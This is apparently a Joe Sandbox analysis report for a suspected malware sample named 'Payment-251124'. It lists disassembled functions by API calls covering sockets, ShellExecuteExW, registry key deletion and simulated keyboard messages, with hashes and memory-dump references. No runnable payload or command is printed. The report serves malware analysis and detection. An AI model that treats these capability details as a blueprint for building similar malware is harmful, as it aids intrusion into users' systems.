                                                        • select.WSOCK32 ref: 00F19691
                                                        • WSAGetLastError.WSOCK32(00000000), ref: 00F1969E
                                                        • __WSAFDIsSet.WSOCK32(00000000,?,00000000), ref: 00F196C8
                                                        • #17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00F196E9
                                                        • WSAGetLastError.WSOCK32(00000000), ref: 00F196F8
                                                        • inet_ntoa.WSOCK32(?), ref: 00F19765
                                                        • htons.WSOCK32(?,?,?,00000000,?), ref: 00F197AA
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ErrorLast$htonsinet_ntoaselect
                                                        • String ID:
                                                        • API String ID: 500251541-0
                                                        • Opcode ID: d26c4ddf6e76cd1f55ebdd2f8d34a2cfa083ab7e48dc918bf8428b2e44cb8075
                                                        • Instruction ID: 992d754a6dce1390eb23dd93bd3e3f4926e72eb5ea71fa3f065a6b1e73423991
                                                        • Opcode Fuzzy Hash: d26c4ddf6e76cd1f55ebdd2f8d34a2cfa083ab7e48dc918bf8428b2e44cb8075
                                                        • Instruction Fuzzy Hash: B171DD32508200ABC314EF64CC91FABB7E8EF85724F104A1DF555AB2A1EB71DD45DBA2
                                                        Function 00EEA979 Relevance: 12.1, APIs: 8, Instructions: 118COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • __mtinitlocknum.LIBCMT ref: 00EEA991
                                                          • Part of subcall function 00EE7D7C: __FF_MSGBANNER.LIBCMT ref: 00EE7D91
                                                          • Part of subcall function 00EE7D7C: __NMSG_WRITE.LIBCMT ref: 00EE7D98
                                                          • Part of subcall function 00EE7D7C: __malloc_crt.LIBCMT ref: 00EE7DB8
                                                        • __lock.LIBCMT ref: 00EEA9A4
                                                        • __lock.LIBCMT ref: 00EEA9F0
                                                        • InitializeCriticalSectionAndSpinCount.KERNEL32(8000000C,00000FA0,00F76DE0,00000018,00EF5E7B,?,00000000,00000109), ref: 00EEAA0C
                                                        • EnterCriticalSection.KERNEL32(8000000C,00F76DE0,00000018,00EF5E7B,?,00000000,00000109), ref: 00EEAA29
                                                        • LeaveCriticalSection.KERNEL32(8000000C), ref: 00EEAA39
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CriticalSection$__lock$CountEnterInitializeLeaveSpin__malloc_crt__mtinitlocknum
                                                        • String ID:
                                                        • API String ID: 1422805418-0
                                                        • Opcode ID: 60f6e208fb1b1ea1069dcfb8ef229fa15112a7f12b50a6457a90b3fceac7cec1
                                                        • Instruction ID: 7b52ebc22feb13265986589b0cc167c4f8462e60e9e024a13018451516575354
                                                        • Opcode Fuzzy Hash: 60f6e208fb1b1ea1069dcfb8ef229fa15112a7f12b50a6457a90b3fceac7cec1
                                                        • Instruction Fuzzy Hash: E6412C7190078D9BEB149F6AD9447ACB7F0AF01324F18933CE429BB2D1DB74A944CB81
                                                        Function 00F28ECC Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • DeleteObject.GDI32(00000000), ref: 00F28EE4
                                                        • GetDC.USER32(00000000), ref: 00F28EEC
                                                        • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00F28EF7
                                                        • ReleaseDC.USER32(00000000,00000000), ref: 00F28F03
                                                        • CreateFontW.GDI32(?,00000000,00000000,00000000,00000000,?,?,?,00000001,00000004,00000000,?,00000000,?), ref: 00F28F3F
                                                        • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00F28F50
                                                        • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00F2BD19,?,?,000000FF,00000000,?,000000FF,?), ref: 00F28F8A
                                                        • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00F28FAA
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                        • String ID:
                                                        • API String ID: 3864802216-0
                                                        • Opcode ID: cb47af2687443e401602ec8f1701e0cbe0df0371d18c64489c6f2ea3017932fd
                                                        • Instruction ID: 5cbf8e4736343c829551919fa71944dd78c0b5dddb6a09b579226dd321ed4861
                                                        • Opcode Fuzzy Hash: cb47af2687443e401602ec8f1701e0cbe0df0371d18c64489c6f2ea3017932fd
                                                        • Instruction Fuzzy Hash: 72319F76201224BFEB108F50DC49FEA3BADEF5A765F054065FE089A191C6B59842DB70
                                                        Function 00F116DA Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 309COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EC936C: __swprintf.LIBCMT ref: 00EC93AB
                                                          • Part of subcall function 00EC936C: __itow.LIBCMT ref: 00EC93DF
                                                          • Part of subcall function 00EDC6F4: _wcscpy.LIBCMT ref: 00EDC717
                                                        • _wcstok.LIBCMT ref: 00F1184E
                                                        • _wcscpy.LIBCMT ref: 00F118DD
                                                        • _memset.LIBCMT ref: 00F11910
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: _wcscpy$__itow__swprintf_memset_wcstok
                                                        • String ID: X
                                                        • API String ID: 774024439-3081909835
                                                        • Opcode ID: bd7a8e6f85f40233d83f0ff432aee343418a30f51baf069a749664b1516df3a2
                                                        • Instruction ID: 797411992fb0531e09e83f6eca083b6a44553ff17c4ddd25c37412804236cab1
                                                        • Opcode Fuzzy Hash: bd7a8e6f85f40233d83f0ff432aee343418a30f51baf069a749664b1516df3a2
                                                        • Instruction Fuzzy Hash: C4C18C315093409FC724EF64C995F9AB7E0BF85350F04492DF99AA72A2DB31EC46DB82
                                                        Function 00F30133 Relevance: 10.7, APIs: 7, Instructions: 245windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDB34E: GetWindowLongW.USER32(?,000000EB), ref: 00EDB35F
                                                        • GetSystemMetrics.USER32(0000000F), ref: 00F3016D
                                                        • MoveWindow.USER32(00000003,?,00000000,00000001,00000000,00000000,?,?,?), ref: 00F3038D
                                                        • SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00F303AB
                                                        • InvalidateRect.USER32(?,00000000,00000001,?), ref: 00F303D6
                                                        • SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00F303FF
                                                        • ShowWindow.USER32(00000003,00000000), ref: 00F30421
                                                        • DefDlgProcW.USER32(?,00000005,?,?), ref: 00F30440
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$MessageSend$InvalidateLongMetricsMoveProcRectShowSystem
                                                        • String ID:
                                                        • API String ID: 3356174886-0
                                                        • Opcode ID: 857e3c3d793ac685e9fb5e9b217d2171630fb1eb7214354bfeda9842a7454b4c
                                                        • Instruction ID: 0040ba720f760308306f07f96a9b91d2cca60f3378cd05bac87c0ece61ca1d1b
                                                        • Opcode Fuzzy Hash: 857e3c3d793ac685e9fb5e9b217d2171630fb1eb7214354bfeda9842a7454b4c
                                                        • Instruction Fuzzy Hash: 2EA1C235A00616EFDB18CF68C9957BEBBB1FF04720F048116EC54A7290DB34AD50EB90
                                                        Function 00EDAE78 Relevance: 10.7, APIs: 7, Instructions: 218COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 81b1f0dae7b8e00c7e0ccce5ecefc6edef7065b75c8eb8613fb36accd5da735e
                                                        • Instruction ID: 1a7b19de69562b56e86f17684eae9f654f3dd083abfcd05ef6d5ef9a6890d08a
                                                        • Opcode Fuzzy Hash: 81b1f0dae7b8e00c7e0ccce5ecefc6edef7065b75c8eb8613fb36accd5da735e
                                                        • Instruction Fuzzy Hash: 5A716DB1A00109EFCB14CF98CC49AAEBB75FF85314F14819AF915AB391C734AA42DF65
                                                        Function 00F22230 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 191COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _memset.LIBCMT ref: 00F2225A
                                                        • _memset.LIBCMT ref: 00F22323
                                                        • ShellExecuteExW.SHELL32(?), ref: 00F22368
                                                          • Part of subcall function 00EC936C: __swprintf.LIBCMT ref: 00EC93AB
                                                          • Part of subcall function 00EC936C: __itow.LIBCMT ref: 00EC93DF
                                                          • Part of subcall function 00EDC6F4: _wcscpy.LIBCMT ref: 00EDC717
                                                        • CloseHandle.KERNEL32(00000000), ref: 00F2242F
                                                        • FreeLibrary.KERNEL32(00000000), ref: 00F2243E
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: _memset$CloseExecuteFreeHandleLibraryShell__itow__swprintf_wcscpy
                                                        • String ID: @
                                                        • API String ID: 4082843840-2766056989
                                                        • Opcode ID: 9ff841df21b0c820269998f94ba0f3aa18ee37dd4d6be2be38d45cd1bd4146b7
                                                        • Instruction ID: 72242b5bfea2219d852b277a725ba7f23bdf6779d873737ee9fddebae95a21c6
                                                        • Opcode Fuzzy Hash: 9ff841df21b0c820269998f94ba0f3aa18ee37dd4d6be2be38d45cd1bd4146b7
                                                        • Instruction Fuzzy Hash: D3716C74900629AFCF04EF98D985A9EB7F5FF48310F108459E855BB391CB35AD41DB90
                                                        Function 00F03DA8 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetParent.USER32(?), ref: 00F03DE7
                                                        • GetKeyboardState.USER32(?), ref: 00F03DFC
                                                        • SetKeyboardState.USER32(?), ref: 00F03E5D
                                                        • PostMessageW.USER32(?,00000101,00000010,?), ref: 00F03E8B
                                                        • PostMessageW.USER32(?,00000101,00000011,?), ref: 00F03EAA
                                                        • PostMessageW.USER32(?,00000101,00000012,?), ref: 00F03EF0
                                                        • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00F03F13
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessagePost$KeyboardState$Parent
                                                        • String ID:
                                                        • API String ID: 87235514-0
                                                        • Opcode ID: b81c8d0eec1b684109f083cad7c6e161bfabd0bb63f28b92ac0a0c57ef17bec4
                                                        • Instruction ID: 5b8c7935f1f2f54349e1ff4ff4f08e0dfafebcb2aeb591450b9402df7d0c9344
                                                        • Opcode Fuzzy Hash: b81c8d0eec1b684109f083cad7c6e161bfabd0bb63f28b92ac0a0c57ef17bec4
                                                        • Instruction Fuzzy Hash: 5F51C2A0E047D63DFB364324CC55BB67EAD5B06314F088589E1D9468D2D3A8AEC8F760
                                                        Function 00F03BC3 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetParent.USER32(00000000), ref: 00F03C02
                                                        • GetKeyboardState.USER32(?), ref: 00F03C17
                                                        • SetKeyboardState.USER32(?), ref: 00F03C78
                                                        • PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00F03CA4
                                                        • PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00F03CC1
                                                        • PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00F03D05
                                                        • PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00F03D26
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessagePost$KeyboardState$Parent
                                                        • String ID:
                                                        • API String ID: 87235514-0
                                                        • Opcode ID: 9086e4955c231659da9c3196717016d01c2c49df5f195c86b2c2e72ca5dcea4d
                                                        • Instruction ID: a23be0fa524773b35a3a2c81d498c2b67e98481539d5dffcb6e25f5828b19ee8
                                                        • Opcode Fuzzy Hash: 9086e4955c231659da9c3196717016d01c2c49df5f195c86b2c2e72ca5dcea4d
                                                        • Instruction Fuzzy Hash: 525107A0A447D93DFB3283348C45BB6BFAD6B06314F0C8489E5D59A8C2D694EE84F760
                                                        Function 00F07DB1 Relevance: 10.6, APIs: 7, Instructions: 137timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: _wcsncpy$LocalTime
                                                        • String ID:
                                                        • API String ID: 2945705084-0
                                                        • Opcode ID: 9848e403a11adf3a78c2f5b6ca5b389059e4ad275e83f3671eda0e74e8a83f99
                                                        • Instruction ID: cdaa0cf93f605e50c4923fa33140b8ebd829b474e466080e0c6c91fd81d50c45
                                                        • Opcode Fuzzy Hash: 9848e403a11adf3a78c2f5b6ca5b389059e4ad275e83f3671eda0e74e8a83f99
                                                        • Instruction Fuzzy Hash: 94418E66C10359B6CB10EBF5C8469CFB3ECAF04310F5099A6E608F3261FA74E650C7A5
                                                        Function 00F23D72 Relevance: 10.6, APIs: 7, Instructions: 100registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?), ref: 00F23DA1
                                                        • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00F23DCB
                                                        • FreeLibrary.KERNEL32(00000000), ref: 00F23E80
                                                          • Part of subcall function 00F23D72: RegCloseKey.ADVAPI32(?), ref: 00F23DE8
                                                          • Part of subcall function 00F23D72: FreeLibrary.KERNEL32(?), ref: 00F23E3A
                                                          • Part of subcall function 00F23D72: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00F23E5D
                                                        • RegDeleteKeyW.ADVAPI32(?,?), ref: 00F23E25
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: EnumFreeLibrary$CloseDeleteOpen
                                                        • String ID:
                                                        • API String ID: 395352322-0
                                                        • Opcode ID: 87a899cca8084ee44e62d95821580262affd81a95179cfb175aa5c9675ef85c9
                                                        • Instruction ID: e61bb4b038a0e318bbe94d8e05464c57968a6f2431fed5778cef090f558773f2
                                                        • Opcode Fuzzy Hash: 87a899cca8084ee44e62d95821580262affd81a95179cfb175aa5c9675ef85c9
                                                        • Instruction Fuzzy Hash: A1311CB5D01119BFDB159F94EC85AFFB7BCEF19310F00016AE912E2150D678AF49ABA0
                                                        Function 00F28FC8 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00F28FE7
                                                        • GetWindowLongW.USER32(015CEF50,000000F0), ref: 00F2901A
                                                        • GetWindowLongW.USER32(015CEF50,000000F0), ref: 00F2904F
                                                        • SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00F29081
                                                        • SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 00F290AB
                                                        • GetWindowLongW.USER32(00000000,000000F0), ref: 00F290BC
                                                        • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00F290D6
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: LongWindow$MessageSend
                                                        • String ID:
                                                        • API String ID: 2178440468-0
                                                        • Opcode ID: c8232e6ed4697a857bf92b5adbf52b06f7b908466eae389a62a8d06d5b37af57
                                                        • Instruction ID: b41ccc4d5c808f9211155968c298a9c0693d0a9bf0f1d2e805e8620fa98fd72a
                                                        • Opcode Fuzzy Hash: c8232e6ed4697a857bf92b5adbf52b06f7b908466eae389a62a8d06d5b37af57
                                                        • Instruction Fuzzy Hash: 2A313D35A04129DFDB20CF68EC85F6437A5FB5A724F150264F9558B2B1CBB1A841EB41
                                                        Function 00F008AF Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00F008F2
                                                        • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00F00918
                                                        • SysAllocString.OLEAUT32(00000000), ref: 00F0091B
                                                        • SysAllocString.OLEAUT32(?), ref: 00F00939
                                                        • SysFreeString.OLEAUT32(?), ref: 00F00942
                                                        • StringFromGUID2.OLE32(?,?,00000028), ref: 00F00967
                                                        • SysAllocString.OLEAUT32(?), ref: 00F00975
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                        • String ID:
                                                        • API String ID: 3761583154-0
                                                        • Opcode ID: ec0523074691a7a963259e477e15a9722fb706a0ea3275565e8ddc15fe264a44
                                                        • Instruction ID: 81e4073f96f7572e637586cdba495229caf82cef2e63360ddb08194e89371aa4
                                                        • Opcode Fuzzy Hash: ec0523074691a7a963259e477e15a9722fb706a0ea3275565e8ddc15fe264a44
                                                        • Instruction Fuzzy Hash: 45215676601219AFEB10DF68DC84EAB73ECEF19370B048125FD19DB291DA74EC45A760
                                                        Function 00F02472 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: __wcsnicmp
                                                        • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                        • API String ID: 1038674560-2734436370
                                                        • Opcode ID: c856117e7175c03327b3c14f8da3080d344e0fc5b7107583bae6c1020da05ce7
                                                        • Instruction ID: 4f32cd989ac8ca9675e38958e2d31f35d7c6e3ea75e8b12f4af559d7466e79f4
                                                        • Opcode Fuzzy Hash: c856117e7175c03327b3c14f8da3080d344e0fc5b7107583bae6c1020da05ce7
                                                        • Instruction Fuzzy Hash: D7213A3250455167C225EA249C1AF7BB3D8EF65310F64402AF946A71C2E7619982F3B9
                                                        Function 00F00986 Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00F009CB
                                                        • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00F009F1
                                                        • SysAllocString.OLEAUT32(00000000), ref: 00F009F4
                                                        • SysAllocString.OLEAUT32 ref: 00F00A15
                                                        • SysFreeString.OLEAUT32 ref: 00F00A1E
                                                        • StringFromGUID2.OLE32(?,?,00000028), ref: 00F00A38
                                                        • SysAllocString.OLEAUT32(?), ref: 00F00A46
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
